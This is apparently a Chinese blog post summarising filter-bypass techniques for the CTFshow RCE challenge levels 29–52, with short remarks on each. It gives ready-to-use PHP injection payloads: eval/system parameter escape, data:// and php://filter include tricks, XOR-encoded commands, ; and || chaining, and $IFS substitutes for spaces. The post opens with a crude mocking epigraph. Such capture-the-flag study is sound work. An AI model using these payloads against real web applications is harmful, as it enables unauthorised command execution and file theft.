CTFshow之RCE代码命令远程执行绕过思路阶段性总结

蝌蚪背上纹青蛙,你秀nm!

                        --古吉拉特邦永远的领袖 莫迪大仙

引言:学而不思则罔,思而不学则殆,不学不思则爽!阶段性做个总结(本来打算昨天写好,结果太懒了,淦!)

参考文章

CTFshow之RCE代码命令远程执行第29关到第40关详细讲解

CTFshow之RCE代码命令远程执行第41关到第52关详细讲解

一、命令执行

1、代表关卡:第29关、第30关

2、常用函数:

(1)system()函数

作用:调用shell来执行命令;返回命令的退出状态

(2)exec()函数(execl, execlp, execle, execv, execvp, execvpe)

作用:创建一个新的进程,并在新进程中执行命令

(3)其他:shell_exec()、passthru()

3、配合函数:eval(),执行括号内的代码

4、常用符号:通配符*和占位符?

5、反引号:`

被反引号包裹的内容当作内容进行执行

观察可知,此绕过实现必须存在可执行函数

二、参数逃逸

1、代表关卡:第29关至第36关

2、实现样式:?c=eval($_GET["p"]);&p=system("tac flag.php");

当过滤东西过多时,我们对c参数先传入$_GET,表示再从地址栏中接受p参数,从而在传递p参数时不再受之前过滤限制,从而达到过滤绕过的效果

观察可知,此绕过实现必须存在左右括号(),否则难以绕过

三、伪协议

1、代表关卡:第29关至第39关

2、常用协议:

执行前的要求:存在include语句,或者可以通过传递加入include语句

(1)data协议:

实现样式:?c=include$_GET[a]?>&a=data://text/plain,<?= system("tac flag.php")?>

注意:include语句并未加上()左右括号(绕过点+1)

上述三处标记处值得一提

首先,对于$_GET()和$_POST()进行传参时,字符可以不用强制加上单引号或者双引号

适用场景:单引号和双引号被过滤,0-9数字被过滤

其次,一条语句结束使用;进行隔离,可使用?>进行绕过

最后,对于php程序格式<?php ?>,php可以替换成=

(2)php协议

实现样式:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

注意:使用php协议得到仅仅是base64编码后的flag值,需要进行解码

四、文件包含

1、代表关卡:第38关

2、实现思路:

关卡中存在include字样。由于过滤较为严格,无法直接获取flag,我们将flag文件通过cp命令复制为1.txt,再通过文件包含读取1.txt的内容

五、循环套娃

1、代表关卡:第40关

2、实现思路:

由于过滤内容遍布大江南北,不过最后留下了()括号和;分号,所以可以使用循环套娃。通过一层一层抽剥将flag拿出。

具体实现
CTFshow之RCE代码命令远程执行第29关到第40关详细讲解

六、异或运算、或运算

1、代表关卡:第41关

2、实现思路:

由于过滤内容为a-z字母和0-9数字,所以通过使用相关编码得到使用A-Z字母和相关特殊符号进行异或、或运算得到对应可执行的命令执行,继而绕过

具体实现

CTFshow之RCE代码命令远程执行第41关超详细讲解

七、重定向吞噬

1、代表关卡:第42关至第52关

2、实现思路:

由于直接使用命令执行,执行内容会被吞噬所以使用;或者||多次执行绕过,需要显示的命令再;和||之前

3、实现样式:

?c=tac fla*||ls

?c=tac fla*;ls

4、查看命令:more tail less head sort  sed  cut  awk strings od tac cat nl

linux存在多种查看文件的命令,当常见的cat、tac、more、less命令被过滤时,可以执行平替命令

八、空格过滤

1、代表关卡:第45关至第52关

2、替换形式:

$IFS$9,${IFS},$IFS,'',%09,<

注意:在nl(tac)命令中空格可以使用<进行代替

至此总结结束,有点水,不过将就着看看

  • 26
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值